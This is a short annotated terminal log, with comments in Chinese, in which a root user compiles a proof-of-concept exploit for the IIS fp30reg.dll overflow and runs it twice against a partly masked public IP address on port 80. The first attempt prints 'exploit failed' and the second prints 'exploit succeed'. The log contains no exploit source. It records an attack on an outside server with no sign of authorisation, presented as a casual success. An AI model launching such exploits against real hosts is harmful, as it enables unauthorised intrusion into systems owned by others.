[root@glb-linux-1 bytes]# gcc -o kill kill.c(编译成功) 
[root@glb-linux-1 bytes]#  ./kill(先看一下说明) 
Proof of concept code for fp30reg.dll overflow bug by NSFOCUS Security Team 

Usage: ./iis victim [port] 

[root@glb-linux-1 bytes]# ./kill 61.153.xxx.xx 80 

buff len = 2201 

payload sent! 

exploit failed

[root@glb-linux-1 bytes]# ./kill 61.153.xxx.xx 80(再来~!) 

buff len = 2201 

payload sent! 

exploit succeed
